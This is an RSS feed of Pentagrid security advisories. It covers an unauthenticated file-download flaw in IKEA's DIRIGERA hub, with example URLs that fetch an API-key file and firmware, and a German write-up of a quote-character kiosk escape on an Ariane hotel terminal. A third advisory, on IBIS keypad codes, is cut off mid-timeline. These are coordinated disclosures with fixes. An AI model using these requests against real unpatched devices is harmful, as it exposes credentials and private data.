<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Einträge über Advisory)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/de/categories/advisory.xml" rel="self" type="application/rss+xml"></atom:link><language>de</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Thu, 24 Sep 2026 07:35:10 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Security misconfiguration in IKEA DIRIGERA smart hub web server exposes large parts of the root filesystem (GCVE-2342-2026-1)</title><link>https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;IKEA produces smart home devices and their newest generation uses the central &lt;a class="reference external" href="https://www.ikea.com/us/en/p/dirigera-hub-for-smart-products-white-smart-50503414/"&gt;DIRIGERA smart hub&lt;/a&gt;. After extracting the firmware, we started hunting for vulnerabilities of the device and found: An unauthenticated attacker on the network can download large parts of the files from the DIRIGERA hub root filesystem. This affects files that are accessible to the service user &lt;cite&gt;license-server&lt;/cite&gt;. These include binaries, firmware files, API keys and in general a lot of proprietary code written by Inter IKEA Systems.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2026-03-18: Vulnerability was discovered.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-03-19: Tried to identify security contacts by checking IKEAS's security.txt, their GPG key and the web. The available online form for submissions was incompatible with Pentagrid's disclosure policy. Tried to contact &lt;a class="reference external" href="mailto:security@ikea.com"&gt;security@ikea.com&lt;/a&gt; by guessing the address, but the e-mail was bounced. Tried to reach out to IKEA via Linkedin and got afterwards contacted by Inter IKEA Systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-03-23: IKEA confirms they are handling the security reports. Pentagrid sends a draft of this advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-03-26: Pentagrid contacts IKEA for a status update. IKEA confirms they are still triaging the issue.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-04-29: Pentagrid contacts IKEA for a status update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-04: IKEA sends an update: The issue was a duplicate and reported shortly before Pentagrid's submission on Hackerone. A fix was released to production in the 2.934.1 release, which was released on 2026-04-09. The fix removes the license-server component from the build and that functionality has been reworked to be handled elsewhere outside of the hub. Pentagrid asks if disclosure could happen already. IKEA responds with with a list of questions regarding the disclosure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-06: Pentagrid responds to the list of questions and provides an early draft of this blog post.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-13: Pentagrid asked for an update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-27: IKEA agrees that the provided answers/blog post draft are in order with them and Pentagrid can proceed as planned.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-06-17: 90 days disclosure deadline and publication.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-file-download-via-licensing-server"&gt;
&lt;h2&gt;Unauthenticated file download via licensing server&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N, 5.8 Medium&lt;/pre&gt;
&lt;section id="affected-components"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;The affected component is the IKEA DIRIGERA smart home hub created by Inter IKEA Systems. The device runs a busybox httpd web server on TCP port 8082, which runs as a systemd service under user &lt;cite&gt;license-server&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;An initial firmware dump prior to the update showed the version information below. The system remained vulnerable after an update to a new firmware on 2026-03-18.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_559669f6e5504f97a674cf7fafb7ff84-1" name="rest_code_559669f6e5504f97a674cf7fafb7ff84-1" href="https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_559669f6e5504f97a674cf7fafb7ff84-1"&gt;&lt;/a&gt;[HomeSmart/Bootchain : 2.556]
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_0ecc475e443046639717ea7ac870bc4f-1" name="rest_code_0ecc475e443046639717ea7ac870bc4f-1" href="https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_0ecc475e443046639717ea7ac870bc4f-1"&gt;&lt;/a&gt;/etc/version
&lt;a id="rest_code_0ecc475e443046639717ea7ac870bc4f-2" name="rest_code_0ecc475e443046639717ea7ac870bc4f-2" href="https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_0ecc475e443046639717ea7ac870bc4f-2"&gt;&lt;/a&gt;20180309123456
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The vulnerability was fixed in version 2.934.1.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker on the network can download many files from the DIRIGERA hub root filesystem. The files must be accessible to the Linux user &lt;cite&gt;license-server&lt;/cite&gt;. These include binaries, firmware files, API keys as well as proprietary code written by Inter IKEA Systems.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;During the analysis Pentagrid was able to download 9639 files from 3149 folders from the embedded device's filesystem over the network without any authentication. These files include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;/usr/share/config/platform/data/settings.json&lt;/cite&gt; which includes the API key that is the same for two analysed DIRIGERA hubs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;/boot/m4-firmware&lt;/cite&gt; which is assumed to be the Cortex M4 firmware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Most binaries files -- here it becomes apparent that busybox is used since most of &lt;cite&gt;/bin/*&lt;/cite&gt; binaries return the same (busybox) file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Configurations of services such as the vulnerable &lt;cite&gt;/lib/systemd/system/license-server.service&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Intellectual property of Inter IKEA Systems B.V., e.g. shell code of &lt;cite&gt;/usr/sbin/boot-complete.sh&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Operational parameters that are stored in &lt;cite&gt;/usr/share/{factory, config, persist}&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The usage of systemd service hardening, the usage of the &lt;a class="reference external" href="https://www.st.com/en/secure-mcus/authentication.html"&gt;STSAFE&lt;/a&gt; enviroment, and proper Linux user permissions limits the impact. To the best of our knowledge no client specific cryptographic material is exposed to the network. What is assumed to be the client certificate under &lt;cite&gt;/usr/local/gw/datad/certs/cert_datacloud.crt&lt;/cite&gt; is not accessible and would further require the protected STSAFE secret for the also inaccessible &lt;cite&gt;/usr/local/gw/datad/certs/key_datacloud.key&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The extracted files expose configurations, intellectual property, proprietary software, and firmware of the Ikea DIRIGERA hub, such as the vulnerabilities of the license server that is exploited here. The impact of exposed software versions is considered insignificant since the license server gives a comprehensive overview about the used software and versions regardless.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;The vulnerability originates from the misconfigured systemd service: &lt;cite&gt;/lib/systemd/system/license-server.service&lt;/cite&gt;. It serves a httpd server on port 8082 with a configuration file under &lt;cite&gt;/usr/share/common-licenses/httpd.conf&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Excerpt from file &lt;cite&gt;license-server.service&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_946e92d3b4d44409a657c99b4b5a260b-1" name="rest_code_946e92d3b4d44409a657c99b4b5a260b-1" href="https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_946e92d3b4d44409a657c99b4b5a260b-1"&gt;&lt;/a&gt;ExecStart=httpd -f -p 8082 -c /usr/share/common-licenses/httpd.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Excerpt from file &lt;cite&gt;httpd.conf&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_ee9e7ad538a943f08bb01b8b1b831bc1-1" name="rest_code_ee9e7ad538a943f08bb01b8b1b831bc1-1" href="https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_ee9e7ad538a943f08bb01b8b1b831bc1-1"&gt;&lt;/a&gt;I:/usr/share/common-licenses/license_summary.txt
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;cite&gt;/usr/share/common-licenses/license_summary.txt&lt;/cite&gt; includes all the licensing information of the software running on the DIRIGERA hub. This file is the only content that is intended to be accessible via the web endpoint.&lt;/p&gt;
&lt;p&gt;Yet, if an unauthroized user visits the endpoint and appends any file system path to the base URL, the webserver returns the file contents or starts a file download, e.g.:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/usr/share/config/platform/data/settings.json"&gt;http://dirigera.example.local:8082/usr/share/config/platform/data/settings.json&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/opt/nexus/bin/chipd"&gt;http://dirigera.example.local:8082/opt/nexus/bin/chipd&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/usr/lib/libicudata.so.71.1"&gt;http://dirigera.example.local:8082/usr/lib/libicudata.so.71.1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/bin/ls"&gt;http://dirigera.example.local:8082/bin/ls&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/boot/m4-firmware"&gt;http://dirigera.example.local:8082/boot/m4-firmware&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;cite&gt;dirigera.example.local&lt;/cite&gt; is here the hostname of the DIRIGERA hub.&lt;/p&gt;
&lt;p&gt;The webserver serves these additional files due to a non-specified home directory in a busybox httpd service. The &lt;cite&gt;httpd&lt;/cite&gt; call inside the systemd service does not specify the &lt;cite&gt;-h&lt;/cite&gt; parameter (home/server root directory). Further, the configuration file &lt;cite&gt;/usr/share/common-licenses/httpd.conf&lt;/cite&gt; only specifies the index file via tag &lt;cite&gt;I:&lt;/cite&gt; but also does not specifiy the home directory using the tag &lt;cite&gt;H:&lt;/cite&gt; (called server root in the &lt;a class="reference external" href="https://github.com/mirror/busybox/blob/371fe9f71d445d18be28c82a2a6d82115c8af19d/networking/httpd.c#L41"&gt;configuration file&lt;/a&gt;). As a result, the webserver defaults to the current directory as the root directory of the webserver which is also the root directory of the entire file system (&lt;cite&gt;/&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;All accessible files return status code 200. To identify existing folders they must be called without the tailing &lt;cite&gt;/&lt;/cite&gt;, e.g. send GET request to &lt;a class="reference external" href="http://dirigera.example.local:8082/usr/share/persist/tee"&gt;http://dirigera.example.local:8082/usr/share/persist/tee&lt;/a&gt; to get status code "302 Found" and a location reference to &lt;cite&gt;/usr/share/persist/tee/&lt;/cite&gt;. Directly requesting &lt;cite&gt;/usr/share/persist/tee/&lt;/cite&gt; results in status code "404 Not Found", which does not provide information to discriminate folder existence. Note, that besides the information gained from the files, attackers can gain additional information about the file system's structure by checking if a folder exists and is accessible: e.g. &lt;cite&gt;/usr/share/persist/tee/&lt;/cite&gt; is known to exist even though all files inside the folder are inaccessible.&lt;/p&gt;
&lt;p&gt;To scrape all 12788 files and directories, Pentagrid used a preconfigured wordlist based on the extracted firmware from another DIRIGERA hub. The total number of accessible entities is a lower (but confirmed) limit since crawling the licence endpoint/filesystem was done based on a non-comprehensive wordlist. The crawling wordlist included only known paths from partitions 9, 10, 11, 13, 14, 15, 16, 17, 18, and 20 of the emmc flash with partitions 15, 16/17, and 18/19 mounted under &lt;cite&gt;/usr/share/{factory, config, persist}&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The system tries to limit access with systemd service hardening, especially the &lt;cite&gt;InaccessiblePaths&lt;/cite&gt; setting in combination with the Linux user permissions — although this is not sufficient, it prevents further exploitation.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs access to TCP port 8082 of the IKEA DIRIGERA smart hub. Prior knowledge of the filesystem structure is not necessary but can reduce the time required to scrape the entire contents of the filesystem. A version before the 2.934.1 release has to be installed.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;Install firmware version 2.934.1 released on 2026-04-09 or a later one. The fix removes the license-server component from the build and the functionality has been reworked to be handled elsewhere outside of the hub.&lt;/p&gt;
&lt;p&gt;If you are using busybox httpd in a similar scenario, it is recommended to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;provide a "Home directory" to httpd by via command line or configuration file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;establish an allowlist to only expose the intended files. Beware, that busybox httpd config files are far more limited in their capabilities to restrict file access compared to their non-busybox alternative.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;apply additional systemd service hardening.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;not solely rely on systemd service denylisting with &lt;cite&gt;InaccessiblePaths&lt;/cite&gt; to administer the served content as denylisting is bad practise for access control.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This vulnerability was discovered by Yannic 'toxsos' Hemmer (Pentagrid).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/</guid><pubDate>Wed, 17 Jun 2026 13:42:00 GMT</pubDate></item><item><title>Kiosk-Modus-Bypass bei Hotel-Check-in-Terminal mit Ariane Allegro Scenario Player</title><link>https://www.pentagrid.ch/de/blog/ariane-allegro-hotel-check-in-terminal-kios-escape/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;Ein Threat-Modelling-Workshop verschlug uns an einen entfernt gelegenen Ort mit neuem Hotel. Das Hotel war so klein, dass es kein Personal für den Check-in gab, dafür aber ein Selbstbedienungs-Terminal für den Check-in. Es passierte, was passieren musste.&lt;/p&gt;
&lt;p&gt;Das Hotel-Check-in-Terminal basiert auf dem Ariane Allegro Scenario Player. Die Software läuft in einem Kiosk-Modus. Bei Eingabe eines Anführungszeichens in die Gästesuche stürzte die Anwendung ab und beendete den Kiosk-Modus. Dadurch war ein Zugriff auf den Windows-Desktop möglich. Nach Angaben von Ariane war in dem neuen Hotel eine alte Softwareversion installiert.&lt;/p&gt;
&lt;p&gt;Nach Eigenangaben von Ariane Systems, ist Ariane "der weltweit führende Anbieter von Self-Check-in und Check-out Lösungen für die Hotelbranche. [...] Ariane bedient derzeit 3.000 Hotels und 500.000 Zimmer in mehr als 25 Ländern. Dazu gehört ein Drittel der 100 größten Hotelketten weltweit."&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2024-03-05: Verwundbarkeit entdeckt in einem Check-in-Terminal.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-06: Vorläufiges Advisory verschriftlicht.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-06: Informationen zur Verwundbarkeit an den betroffenen Hotelbetrieb gesendet und nach Versionsinformationen gefragt.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-07: Kontaktinformationen für das Mitteilen von Schwachstellen an Ariane Systems recherchiert. Der Hersteller nutzt für die Kontaktmitteilung weder security.txt noch einen entsprechenden TXT-Record im DNS. Auf der Herstellerwebseite gibt es keinen Hinweis auf ein Produktsicherheitsteam. Daher kontaktierte Pentagrid initial den Support via &lt;a class="reference external" href="mailto:support@ariane.com"&gt;support@ariane.com&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-14: Erneute Kontaktaufnahme über den Support von Ariane Systems, da keine Rückmeldung erfolgte.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-14: Statusinformation an das betroffene Hotel gesendet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-14: Kontaktaufnahme mit technischem Leiter und Chief Product Officer von Ariane Systems via Linkedin. Der Chief Product Officer empfahl, sich an &lt;a class="reference external" href="mailto:dataprivacy@ariane.com"&gt;dataprivacy@ariane.com&lt;/a&gt; zu wenden.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-14: E-Mail an &lt;a class="reference external" href="mailto:dataprivacy@ariane.com"&gt;dataprivacy@ariane.com&lt;/a&gt; gesendet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-14: Überprüfung anhand von eigenen Mailserverlogs, ob alle E-Mails früherer Kommunikationsversuche vom Mailserver von Ariane Systems empfangen wurden.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-15: Versucht, über Linkedin eine Empfangsbestätigung vom Chief Product Officer zu erhalten, nachdem Rückmeldung ausblieb.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-18: Kontaktierungsversuch Chief Product Officer per E-Mail mittels Erraten der E-Mail-Adresse wegen ausbleibender Antwort, aber das Erraten der E-Mail-Adresse ist fehlgeschlagen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-18: Kontaktaufnahme Chief Product Officer via Linkedin zur Bestätigung des Mailerhalts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-18: Öffentlich Kontaktaufnahme mit Ariane System's via Linkedin.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-18: Übermittlung der Details zur Verwundbarkeit an &lt;a class="reference external" href="mailto:dataprivacy@ariane.com"&gt;dataprivacy@ariane.com&lt;/a&gt; nach erster Kontaktbestätigung via E-Mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-18: Gemäß Ariane Systems erster Reaktion handelt es sich um Altsysteme, die USB-Ports seien deaktiviert und Mitteilung dass „keine personenbezogenen Daten oder verwertbaren Daten vom Kiosk abgerufen werden können“.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-25: Rückmeldung an Ariane Systems und Bestreiten der Behauptung, dass keine personenbezogenen Daten abgerufen werden können, da das Terminal als Teil des Systemdesigns Rechnungsdateien erstellt und zugänglich hält.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-04-11: Call mit Ariane Systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-05-31: Status bei Ariane Systems angefragt, aber ohne Antwort.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-06-05: Veröffentlichung nach 90 Tagen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-06-06: CVE-2024-37364 wurde zugewiesen.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="umgehung-des-kios-modus"&gt;
&lt;h2&gt;Umgehung des Kios-Modus&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 6.8 Mittel&lt;/pre&gt;
&lt;section id="betroffene-komponenten"&gt;
&lt;h3&gt;Betroffene Komponenten&lt;/h3&gt;
&lt;p&gt;Bei dem Check-in-Terminal handelt es sich wahrscheinlich um ein Terminal der Serie Ariane Duo 6000. Auf diesem läuft die Software Ariane Allegro Scenario Player.&lt;/p&gt;
&lt;p&gt;Eine Hotelkette in Liechtenstein und der Schweiz nutzt das Check-in-Terminal für kleinere Hotelstandorte. Das Check-in-Terminal unterstützt sowohl die Zimmerbuchung als auch das Einchecken im Hotel. Es leitet den Zahlungsvorgang über ein POS-Terminal ein, stellt RFID-Transponder für die Hotelzimmeröffnung aus und druckt eine Rechnung.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="zusammenfassung"&gt;
&lt;h3&gt;Zusammenfassung&lt;/h3&gt;
&lt;p&gt;Das Check-in-Terminal ermöglicht die Suche nach bestehenden Zimmerreservierungen. Reservierungen können mittels Buchungscode oder Nachnamen gesucht werden. Wenn man eine Reservierung anhand eines Namens sucht und der Name ein Hochkomma enthält, hängt der Allegro Scenario Player. Bei erneutem Berühren des Touchscreens fragt Windows, ob die Anwendung beendet werden soll. Das Beenden der Anwendung beendet dann auch den Kiosk-Modus.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="auswirkung"&gt;
&lt;h3&gt;Auswirkung&lt;/h3&gt;
&lt;p&gt;Wenn die Anwendung gestoppt wird, wird der Kiosk-Modus beendet und man erhält Zugriff auf einen Windows-Desktop.&lt;/p&gt;
&lt;p&gt;Mit dem Zugriff auf den Windows-Desktop werden Angriffe auf das Hotelnetz möglich, ebenso wie der Zugriff auf die auf dem Terminal gespeicherten Daten, einschließlich personenbezogener Daten, Reservierungen und Rechnungen. Mit der Möglichkeit eigenen Programmcode einzuschleusen und auszuführen, wäre es möglich, Zimmerschlüssel für andere Zimmer zu erstellen, da die Funktionalität zur RFID-Transponderprovisionierung auf dem Terminal implementiert ist.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technische-details"&gt;
&lt;h3&gt;Technische Details&lt;/h3&gt;
&lt;p&gt;Bei Suche einer bestehenden Reservierung anhand eines Nachnamens und Eingabe eines zusätzlichen Hochkommas bleibt die Anwendung hängen. Eine Beispieleingabe, die diesen Effekt verursacht, ist „O'YOLO“.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202406_ariane_hotel_terminal_enter_name.jpg"&gt;
&lt;img alt="Eingabe eines Namens in das Suchfeld mit einem einfachen Anführungszeichen. In diesem Beispiel wird „O'YOLO“ eingegeben. Das Logo der Hotelkette ist im Foto maskiert." class="align-center" src="https://www.pentagrid.ch/images/202406_ariane_hotel_terminal_enter_name.thumbnail.jpg"&gt;
&lt;/a&gt;
&lt;p&gt;Die Anwendung bleibt hängen. Bei erneutem Berühren des Elo-Displays fragt Windows, ob die Anwendung beendet oder weiter gewartet werden soll.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202406_ariane_hotel_terminal_stop_kiosk_application.jpg"&gt;
&lt;img alt="Windows fragt, ob die Anwendung fortgeführt oder gestoppt werden soll." class="align-center" src="https://www.pentagrid.ch/images/202406_ariane_hotel_terminal_stop_kiosk_application.thumbnail.jpg"&gt;
&lt;/a&gt;
&lt;p&gt;Bei Abbruch der Anwendung wird der Windows-Desktop sichtbar.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202406_ariane_hotel_terminal_kiosk_mode_stopped.jpg"&gt;
&lt;img alt="Der Windows-Desktop ist nach dem Beenden des Kiosk-Modus zugreifbar." class="align-center" src="https://www.pentagrid.ch/images/202406_ariane_hotel_terminal_kiosk_mode_stopped.thumbnail.jpg"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="vorbedingung"&gt;
&lt;h3&gt;Vorbedingung&lt;/h3&gt;
&lt;p&gt;Ein Angreifer benötigt physischen Zugang zu einem Check-in-Terminal und je nach Angriffsvorbereitung zusätzliche Zeit am Terminal. Das Terminal muss sich in einem Zustand befinden, in dem es Selbstbedienung zulässt, beispielsweise wenn es nur abends aktiviert wäre.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="empfehlung"&gt;
&lt;h3&gt;Empfehlung&lt;/h3&gt;
&lt;p&gt;Nach Angaben von Ariane Systems wurde das Problem im Allegro Scenario Player behoben. Pentagrid empfiehlt daher Hotels, welche das Terminal nutzen:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;sicherzustellen, dass eine aktuelle Version der Software installiert ist. Die Version, die das Problem behebt, ist Pentagrid nicht bekannt. Daher wäre Ariane Systems zu fragen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check-in-Terminals zu isolieren, so dass bei Kompromittierung kein Angriff auf weitere Infrastruktur möglich wird.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;Die Verwundbarkeit wurde versehentlich von Martin "O'YOLO" Schobert (Pentagrid) entdeckt.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Advisory</category><category>Kiosk-Modus</category><category>Physische Sicherheit</category><guid>https://www.pentagrid.ch/de/blog/ariane-allegro-hotel-check-in-terminal-kios-escape/</guid><pubDate>Wed, 05 Jun 2024 07:42:00 GMT</pubDate></item><item><title>Preisgabe von Tastenschloss-Codes bei Check-in-Terminal von IBIS-Hotel</title><link>https://www.pentagrid.ch/de/blog/preisgabe-tastenschloss-codes-check-in-terminal-ibis-hotel/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;Nach einem Hackerkongress in Hamburg stellte Pentagrid fest, dass ein Check-in-Terminal eines IBIS-Budget-Hotels die Tastencodes von fast der Hälfte der Hotelzimmer preisgab, wenn ein Benutzer nach einer bestimmten Form einer nicht alphanumerischen Buchungsnummer suchte. Der Zugang zu den Hotelzimmern ermöglicht den Diebstahl von Wertsachen, insbesondere wenn Low-Budget-Hotelzimmer nicht mit einem Zimmersafe ausgestattet sind. Der Hotelkettenbetreiber Accor hat das Problem nach eigenen Angaben mittlerweile behoben.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-12-31: Schwachstelle in einem Check-in-Terminal in Hamburg gefunden.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-01: Erster mündlicher Bericht der Schwachstelle an den Franchisenehmer Sczygiel Hotelmanagement GmbH.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-02: Erster Entwurf des Advisories.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-02: security.txt für ibis.accor.com gefunden, welche auf das Yagosha-Portal als Kontakt für die Meldung von Sicherheitslücken verweist. Dieses Programm erfordert eine schriftliche Zustimmung zur Veröffentlichung, was nicht zur Coordinated Disclosure Policy von Pentagrid passt. Eine ältere Version der security.txt listet &lt;a class="reference external" href="mailto:security@accor.com"&gt;security@accor.com&lt;/a&gt; als Kontakt auf, was auch der GPG-Key-Identity in der aktuellen security.txt entspricht.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-02: Erster Kontakt mit &lt;a class="reference external" href="mailto:security@accor.com"&gt;security@accor.com&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-02: Status an den Franchisenehmer kommuniziert.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-03: Antwort von &lt;a class="reference external" href="mailto:security@accor.com"&gt;security@accor.com&lt;/a&gt; mit Wunsch, die Schwachstelle nicht öffentlich zu kommunizieren und das Yagosha-Programm zu nutzen.&lt;/p&gt;&lt;/li&gt;
